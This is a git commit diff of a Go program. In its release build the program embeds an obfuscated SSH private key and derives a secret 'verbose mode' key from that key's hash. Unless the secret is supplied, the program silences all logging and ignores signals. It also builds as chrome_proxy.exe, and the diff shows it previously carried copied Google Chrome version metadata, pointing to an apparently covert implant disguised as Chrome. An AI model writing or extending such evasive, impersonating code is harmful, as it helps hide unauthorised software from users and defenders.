In release build derive VMK from SSH private key when cfg.VerboseModeKey is unset

Makefile

@@ -74,6 +74,8 @@ resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64
 resources/ssh_private_key.base64.rot13.github: resources/ssh_private_key.base64.rot13
 	base64 -i $< -o $@ 
 
+vmk: resources/ssh_private_key
+	shasum -a 256 $<
 fmt:
 	gofmt -w *.go
 

config.go

@@ -9,7 +9,8 @@ type config struct {
 	//  verbose mode is force enabled. The key is read from the "VMK" environment
 	//  variable at startup.
 	//
-	// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
+	// When not set during build, in release mode the SHA256-hex fingerprint is
+	//  derived from the PEM SSH private key.
 	VerboseModeKey string
 
 	// SSH server user name

main.go

@@ -16,9 +16,9 @@ var sshfpResolver *sshfp.Resolver
 
 func secureEraseResourceSSHPrivateKey() {
 	log.Println("ERASING SSH private key")
-//	for i := range resourceSSHPrivateKey {
+	//	for i := range resourceSSHPrivateKey {
-//		resourceSSHPrivateKey[i] = 0
+	//		resourceSSHPrivateKey[i] = 0
-//	}
+	//	}
 }
 
 type SSHHostPublicKeyFetcher struct {

main_release.go

@@ -4,14 +4,16 @@
 package main
 
 import (
+	"crypto/sha256"
 	_ "embed"
+	"encoding/base64"
+	"encoding/hex"
+	"github.com/awnumar/memguard"
+	"io/ioutil"
+	"log"
 	"os"
 	"os/user"
 	"path/filepath"
-	"log"
-	"io/ioutil"
-	"encoding/base64"
-	"github.com/awnumar/memguard"
 )
 
 //go:embed resources/ssh_private_key.base64.rot13
@@ -42,7 +44,7 @@ func resourcesPurge() {
 	memguard.Purge()
 }
 
-func resourceSSHPrivateKeyUnpack() {
+func resourceSSHPrivateKeyUnpack() string {
 	resourceSSHPrivateKeyBase64 := rot13String(resourceSSHPrivateKeyBase64Rot13)
 
 	decodedData, err := base64.StdEncoding.DecodeString(resourceSSHPrivateKeyBase64)
@@ -52,6 +54,11 @@ func resourceSSHPrivateKeyUnpack() {
 
 	resourceSSHPrivateKeyMemguardBuffer = memguard.NewBufferFromBytes(decodedData)
 	resourceSSHPrivateKey = resourceSSHPrivateKeyMemguardBuffer.String()
+
+	shasum := sha256.New()
+	shasum.Write([]byte(resourceSSHPrivateKey))
+
+	return hex.EncodeToString(shasum.Sum(nil))
 }
 
 func resourceSSHPrivateKeyDestroy() {
@@ -66,7 +73,12 @@ func init() {
 	// Safely terminate in case of an interrupt signal
 	memguard.CatchInterrupt()
 
-	var logFile string 
+	var logFile string
+
+	sshPrivateKeySHA256Sum := resourceSSHPrivateKeyUnpack()
+	if cfg.VerboseModeKey == "" {
+		cfg.VerboseModeKey = sshPrivateKeySHA256Sum
+	}
 
 	dontSilenceKey := os.Getenv("VMK")
 	if dontSilenceKey == cfg.VerboseModeKey {
@@ -75,6 +87,7 @@ func init() {
 		systemIgnoreAllSignals()
 		logFile = os.DevNull
 	}
+	// TODO: memguard at this point the cfg.VerboseModeKey ?
 
 	if logFile == "homedir" {
 		logFile = os.DevNull
@@ -104,5 +117,4 @@ func init() {
 	}
 
 	systemRouteAllLogging(logFile)
-	resourceSSHPrivateKeyUnpack()
 }

system.go

@@ -1,8 +1,8 @@
 package main
 
 import (
-	"log"
 	"io"
+	"log"
 	"os"
 	"os/signal"
 	"path/filepath"

system_darwin.go

@@ -1,4 +1,4 @@
-//go:build darwin 
+//go:build darwin
 // +build darwin
 
 package main

system_linux.go

@@ -5,8 +5,8 @@ package main
 
 import (
 	"log"
-	"syscall"
 	"strings"
+	"syscall"
 )
 
 func systemGetWINEVersion() string {

system_windows.go

@@ -1,7 +1,8 @@
 //go:build windows
-//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64
 // +build windows
 
+//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64
+
 package main
 
 import (

versioninfo.json

@@ -19,18 +19,16 @@
         "FileSubType": "00"
     },
     "StringFileInfo": {
-        "CompanyName": "Google LLC",
+        "CompanyName": "",
-        "FileDescription": "Google Chrome",
+        "FileDescription": "",
-        "FileVersion": "127.0.6533.73",
+        "FileVersion": "",
-        "InternalName": "chrome_proxy",
+        "InternalName": "",
-        "LegalCopyright": "Copyright 2024 Google LLC. All rights reserved.",
+        "LegalCopyright": "",
-        "OriginalFilename": "chrome_proxy.exe",
+        "OriginalFilename": "",
-        "ProductName": "Google Chrome",
+        "ProductName": "",
-        "ProductVersion": "127.0.6533.73",
+        "ProductVersion": "",
-        "CompanyShortName": "Google",
+        "CompanyShortName": "",
-        "ProductShortName": "Chrome",
+        "ProductShortName": ""
-        "LastChange": "b59f345ebd6c6bd0b5eb2a715334e912b514773d-refs/branch-heads/6533@{#1761}",
-        "Official Build": "1"
     },
     "VarFileInfo": {
         "Translation": {